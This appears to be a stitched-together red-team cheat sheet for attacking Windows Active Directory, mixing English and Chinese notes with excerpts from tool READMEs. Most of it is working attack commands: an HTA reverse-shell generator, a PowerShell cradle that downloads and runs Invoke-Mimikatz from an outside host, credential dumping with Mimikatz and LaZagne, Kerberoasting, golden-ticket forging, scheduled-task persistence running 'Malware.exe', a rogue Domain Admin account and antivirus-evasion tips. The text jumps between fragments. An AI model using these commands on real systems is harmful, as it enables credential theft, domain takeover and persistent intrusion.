python3 --help python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell) python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb) python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat) python3 weirdhta.py 10.10.10.10 4444 --command'c:\windows\system32\cmd.exe' (custom command)
Ultimate Shell for WinRM Connections
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] -S, --ssl Enable SSL -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required) -p, --password PASS Password -P, --port PORT Remote host port (default 5985) -V, --version Show version -h, --help Display this help message
PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setup.zip
Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute
Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.
PS>Import-Module .\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg [Oneliner to execute from a file]
PS>Import-Module .\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest [Oneliner to execute from the web] 过不了火绒.
Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py manually.
https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast action
Kerberoast with Python
IMPORTANT: the accepted formats are the following <ldap_connection_string> : <domainname>/<username>/<secret_type>:<secret>@<DC_ip> <kerberos_connection_string>: <kerberos realm>/<username>/<secret_type>:<secret>@<DC_ip>
Look for vulnerable users via LDAP kerberoast ldap all <ldap_connection_string> -o ldapenum
Use ASREP roast against users in the ldapenum_asrep_users.txt file kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt
Use SPN roast against users in the ldapenum_spn_users.txt file kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn_users.txt
AS Rep Roasting
#Accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable
Get-ASRepHash -Domain m0chanAD.local -User victim
Can also use Rebeus (Reflectively Load .NET Assembly.)
.\Rubeus.exe asreproast ```bash
## DCSync (Also Post Exploit) ```bash #运行DCSync需要特殊权限。 管理员，域管理员或企业管理员以及域控制器计算机帐户的任何成员都可以运行DCSync来提取密码数据。 请注意，默认情况下，只读域控制器不允许用户提取密码数据。
#and anyone with the Replicating Changes permissions set to Allow (i.e., Replicating Changes All/Replicating Directory Changes)
This is stupidily good, it can literally Enum everything you require and is also a .NET Assembly so can be reflectively loaded to avoid AV :D Win Win
BasicOSInfo - Basic OS info (i.e. architecture, OS version, etc.) RebootSchedule - Reboot schedule (last 15 days) based on event IDs 12 and 13 TokenGroupPrivs - Current process/token privileges (e.g. SeDebugPrivilege/etc.) UACSystemPolicies - UAC system policies via the registry PowerShellSettings - PowerShell versions and security settings AuditSettings - Audit settings via the registry WEFSettings - Windows Event Forwarding (WEF) settings via the registry LSASettings - LSA settings (including auth packages) UserEnvVariables - Current user environment variables SystemEnvVariables - Current system environment variables UserFolders - Folders in C:\Users\ NonstandardServices - Services with file info company names that don't contain 'Microsoft' InternetSettings - Internet settings including proxy configs LapsSettings - LAPS settings, if installed LocalGroupMembers - Members of local admins, RDP, and DCOM MappedDrives - Mapped drives RDPSessions - Current incoming RDP sessions WMIMappedDrives - Mapped drives via WMI NetworkShares - Network shares FirewallRules - Deny firewall rules, "full" dumps all AntiVirusWMI - Registered antivirus (via WMI) InterestingProcesses - "Interesting" processes- defensive products and admin tools RegistryAutoRuns - Registry autoruns RegistryAutoLogon - Registry autologon information DNSCache - DNS cache entries (via WMI) ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a) AllTcpConnections - Lists current TCP connections and associated processes AllUdpConnections - Lists current UDP connections and associated processes NonstandardProcesses - Running processeswith file info company names that don't contain 'Microsoft' * If the user is in high integrity, the following additional actions are run: SysmonConfig - Sysmon configuration from the registry
And more!! Dump Creds (new-object System.Net.WebClient).DownloadString('http://10.10.14.5:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz
Can also run Mimikatz.exe after some AV Evasion removing strings etc. ippSec has a great tutorial on this.
mimikatz.exe privlege::debug sekurlsa::logonPasswords full
The safer method is to dump the process memory of LSASS.exe with MiniDump (https://github.com/3xpl01tc0d3r/Minidump)
and send the .bin to Mimikatz locally.
Can also be used for dumping and pass the ticket attacks but will cover this elsewhere.
Dump Creds #2
laZagne.exe all laZagne.exe browsers laZagne.exe browsers -firefox ```bash
Quietly digging up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP
SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It has WMI functionality built in so it can be run remotely. Its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals
mimikittenz is a post-exploitation powershell tool that utilizes the Windows function ReadProcessMemory() in order to extract plain-text passwords from various target processes.
The aim of mimikittenz is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target.
Full python implementation of Mimikatz :D
pip3 install pypykatz
Full C Sharp Implemenatation of Mimikatz that can be reflectively loaded :D
"SafetyKatz is a combination of slightly modified version of @gentilkiwis Mimikatz project and @subtee's .NET PE Loader. First, the MiniDumpWriteDump Win32 API call is used to create a minidump of LSASS to C:\Windows\Temp\debug.bin. Then @subtees PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete."
Full C Sharp Implementation of Mimikatzs DPAPI features which allows access to DPAPI features.
Often a Red Team engagement is more than just achieving Domain Admin. Some clients will want to see if specific users in the domain can be compromised, for example the CEO.
SharpSniper is a simple tool to find the IP address of these users so that you can target their box.
#Check my Blog Post Kerberos Attacks in Depth for Further Information #https://m0chan.github.io/Kerberos-Attacks-In-Depth
# To generate the TGT with NTLM mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft) mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz mimikatz # kerberos::ptt <ticket_kirbi_file>
#Inject Ticket with Rebeus .\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
.\PsExec.exe -accepteula \\<remote_hostname> cmd
Domain = Logical group of objects (users, computers, servers etc etc) supported from a central location like a DC
Tree = Set of domains using same name space (DNS Name)
Trust = Agreement between 2 domains that allow cross-domain access to resources etc. i/e Michelle@dev.m0chan.com may be able to access resources inside HR.m0chan.com.
Forest = Largest Structure composed of all trees.
Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.
Lets say we have owned a domain controller and got the KRBTGT Hash (The keys to the castle) we can now create
See there github linked above for full Syntax, very cool work
SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file, for opsec considerations SharpDoor still using cmd.exe to run sc services to impersonating as trustedinstaller in the future will be avoiding cmd.exe usage, currently only support for Windows 10.
# Run Malware.exe every day at 06:00am schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc daily /st 06:00
# Runs a task each time the user's session is idle for 5 minutes. schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onidle /i 5
# Runs a a task as SYSTEM when User Logs in. schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate\Malware.exe /sc onlogon
Windows Startup Folder
This has been around for years as basically every version of Windows contains a startup folder.
Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Current User Startup - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Look for any missing DLL's or EXE's that common programs are calling on startup and over write them with your payload/malware.
Also if you are localadmin/system you could provide over write a normal service binary or DLL, providing you don't break the execution.
Add User Account
net user m0chan /add /domain net group "Domain Admins" m0chan /add /domain net localgroup "Administrators" /add net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"
Persistence with Kerberos
We can dump Kerberos tickets and inject them in session when deemed relevant however tickets have a low life span unless explically requested for 7 days.
They can be injected into session with mimikatz or Rebeus.
But let's say we have pwned a DC and got the KRBTGT Hash we can generate a golden ticket with a 10 year life span. kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi SID is the domain SID Inject Ticket kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi Can also inject kirbi with Rebeus
All SSL Connections will be redirected to 184.108.40.206:443
#Non SSL Port Forward socat TCP-LISTEN:80,fork TCP:220.127.116.11:80
C# Implementation of Conventional Lateral Movement Techniques, such as
-WMIExec - Semi-Interactive shell that runs as the user. Best described as a less mature version of Impacket's wmiexec.py tool. -SMBExec - Semi-Interactive shell that runs as NT Authority\System. Best described as a less mature version of Impacket's smbexec.py tool.
-PSExec (like functionality) - Gives the operator the ability to execute remote commands as NT Authority\System or upload a file and execute it with or without arguments as NT Authority\System.
-WMI - Gives the operator the ability to execute remote commands as the user or upload a file and execute it with or without arguments as the user.